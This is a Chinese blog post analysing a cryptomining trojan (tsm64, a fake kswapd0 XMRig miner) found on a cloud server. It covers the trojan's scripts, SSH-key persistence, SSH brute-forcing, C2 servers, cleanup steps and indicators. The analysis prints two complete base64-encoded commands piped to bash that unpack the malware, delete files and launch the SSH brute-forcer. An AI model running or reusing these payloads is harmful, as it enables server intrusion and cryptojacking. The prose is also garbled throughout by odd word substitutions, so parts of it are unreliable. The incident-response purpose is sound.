前提:某天腾讯云发来一封邮件来揭示,本人的服务器中木马了。依据邮件中的提醒,把疑似木马的程序tsm64拷贝下来,上传到vt上,确认是木马。好了,开始剖析它。
一、初步定位恶意程序在零碎中的痕迹
首先,通过命令“find / -name “tsm64” “全局搜寻这个歹意样本存储在哪个目录,最初在/tmp/.X25-unix/.rsync/c目录下发现了它。浏览整个.rsync目录,发现都是歹意样本相干的文件,于是将其打包下载到本地进行剖析。对该目录的子目录和文件进行剖析,失去以下信息:
- tddwrt7s.sh为终点,该脚本通过curl从远端下载dota3.tar.gz并解压,再调用initall进行初始化。
- Initall脚本先执行init脚本,再执行init2脚本。init脚本将dota3.tar.gz解压出的.configrc目录复制到root目录下,并在后盾执行a目录下的init0脚本(github上分享的一个专杀矿工过程的脚本)革除主机可能曾经存在的矿工过程,后盾运行a与b目录下的a脚本和c目录下的start脚本,再设置每分钟查看执行cron.d脚本(本人生成的),该脚本将a目录下upd脚本和b目录下的sync脚本设置为每次零碎重启后执行。
- Init2脚本后面的工作与init雷同,略过 。
- a目录下的upd脚本会执行run脚本,而run脚本会先执行stop脚本进行上一轮该系列脚本的工作(相当于为新一轮脚本执行做筹备),重点是其会执行歹意的可执行文件kswapd0。在Linux中,kswapd0过程是用来治理虚拟内存的。kswapd0 挪动内存的过程就会造成 CPU 的大量应用,所以该恶意程序通过伪装成kswapd0过程来躲避管理员狐疑其大量耗用CPU资源的行为。
- b目录下的run脚本会将一个固定ssh rsa密钥存储在 ~/.ssh/authorized_keys中实现长久化管制拜访我的服务器。
- C目录下的aptitude脚本执行go脚本,而go脚本会执行tsm脚本。Tsm脚本会依据服务器零碎的位数而抉择执行歹意可执行文件tsm32还是tsm64 。
.rsync目录下各脚本调用关系如下图所示:
二、动态剖析
在服务器中执行top命令查看各过程对资源占用状况进行剖析,发现一个叫”./kswapd0”的过程对CPU占用率99%。先剖析kswapd0这个64位的可执行文件,通过ida的字符串搜寻,发现字符串”https://xmrig.com/wizard”( xmrig 是用于 Monero (XMR) CPU 挖矿的)。同时还找到矿机的配置内容,理解了下社区中挖矿教程,能够晓得其中的user字段即是该黑客的门罗钱包地址。联合对反编译后的伪代码剖析,发现kswapd0的执行逻辑与数据和xmrig(ELF文件,下载地址
https://github.com/xmrig/xmri...
那么就剩下tsm32/tsm64这组恶意程序还未知其性能,拖进ida里剖析一下。
tsm64是一个64位ELF文件,先拖进ida里进行剖析。从start函数里找到main函数的入口,点进去,F5失败,ida报错起因是这个函数太大了。在汇编窗口浏览代码,发现在函数结尾有一条指令开拓了微小的堆栈空间,“sub rsp, 3D6A58h”。尝试nop掉该指令,以及nop掉结尾处的“add rsp, 3D6A58h”指令。再次F5,还是无奈反编译。没方法只能先看汇编了。汇编界面按空格查看流程图,发现上面有一段执行流疑似通过了平坦化解决。查看了一下负责散发的块,外面定义了一张地址表,按程序执行表中的基本块。因为基本块数量较少,就一个个去看了。剖析后失去的后果,loc_405022打印了一个负责扫描内外工具(命令行)的应用阐明,loc_406257执行一组删除操作(目标是擦除入侵痕迹,删除的内容能够作为下一阶段追朔的线索),loc_40506C执行了“whoami“命令,其余基本块的作用都是通过strtol函数将一个字符串转化为一个十进制数而后写入到一个数组里,这里并没有找到字符串起源(应该是命令行参数输进来的),loc_404F37负责将一个标记置1(进入这个散发器前初始化为0,应该是为了判断有没有实现以上操作,在loc_406257中再次判断,如果不为0则来到这个散发器)。
依据逻辑如果失常执行到loc_406257,就会来到loc_4062BD。在这里,程序通过system函数执行命令"sort -R b > p; sort -R a > ip"。先不理睬这个信息。在下一个块里,该程序对'/dev/tty'(是咱们应用的管制终端)进行读取,能够查看到以后终端的显示内容。
sub_408680函数中实现了与45.9.148.125(查ip,发现是一个荷兰的服务器)建设ssh连贯,以及读取文件v(作用未知)。sub_4099F0函数进行文件写入或者发送数据。到这里能够晓得该恶意程序的一个歹意行为是读取文件v的内容而后发送给该近程服务器。
紧接着,该程序将从终端读取到的内容保留到变量s里
通过搜寻字符串发现了两组歹意命令“echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==" | base64 --decode | bash “和”echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash “,别离对它们base64的内容解密,后果如下:
能够看出,下面解密进去的脚本与.rsync和.configrc目录下的shell脚本作用根本是雷同的。
三、动态分析
首先通过“./tsm64 -t 202 -f 1 -s 12 -S 9 -p 0 -d 1 p ip”命令执行一下tsm64,看一下有什么成果。Tsm64在执行过程中会产生a、b、p、ip和v五个文件,其中a和ip存储的都是IP地址以及端口号,而b和p存储的是由用户名和明码组成的字典。接下来,能够看到tsm64创立大量线程去连贯ip中的服务器,并尝试爆破ssh的账号。
接下来,想晓得ip这些文件是哪里来的,因为程序中和本地都没有它们存在。猜想是网络下载,于是打算跟踪connect函数的调用,发现程序最先与45.9.148.125建设连贯。
而紧接着在实现与45.9.148.125 进行ssh连贯建设的过程后,终于来到咱们想看到的文件下载阶段。咱们能够看到在接管的数据中有大段的IP地址,如下图所示。
起初,由发现在sub_409100函数中,该恶意程序随机选取下图中三个IP地址作为C2地址进行连贯。
tsm64下载好这些文件后,关上文件p进行逐行读取,将外面的须要爆破的ip和端口读出。这里tsm64创立了五百多个线程去爆破指标。
创立文件v进行读取,如果读出数据,则发送到远端服务器。因为v文件始终为空,这一步始终无奈验证。然而,基于以上的剖析,能够猜出,v文件存储的是爆破后果。
四、革除计划
对于解决该挖矿木马,提出以下革除计划:
- 通过crontab -e命令删除相干的四条定时工作。
- 杀死kswapd0过程,如果tsm32、tsm64过程也存在的话也杀死。
- 删除~/.configrc目录、/tmp/.X25-unix/.rsync目录、dota3.tar.gz文件,以及~/.ssh/authorized_keys文件。
- 更新ssh的账号密码,因为该木马就是通过爆破ssh账号进来的。
五、特色总结
黑客的门罗钱包地址:483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS
矿工名:“x”
C2地址:45.9.148.125、45.9.148.129、和45.9.148.117
指标矿池地址:
- "url": "debian-package.center:80"
- "url": "[2a0e:fa00:0:5::1]:443"
- "url": "[2a0e:fa00:0:5::1]:80"
- "url": "45.9.148.129:80"
- "url": "45.9.148.129:443"
- "url": "45.9.148.117:80"
- "url": "45.9.148.117:443"
- "url": "45.9.148.58:80"
- "url": "45.9.148.58:443"
- "url": "45.9.148.59:80"
- "url": "45.9.148.59:443"
举荐浏览:老成持重的铁头娃居然拿到阿里、奇安信offer?原来是看了这份面试外围知识点(全程干货,必须珍藏!)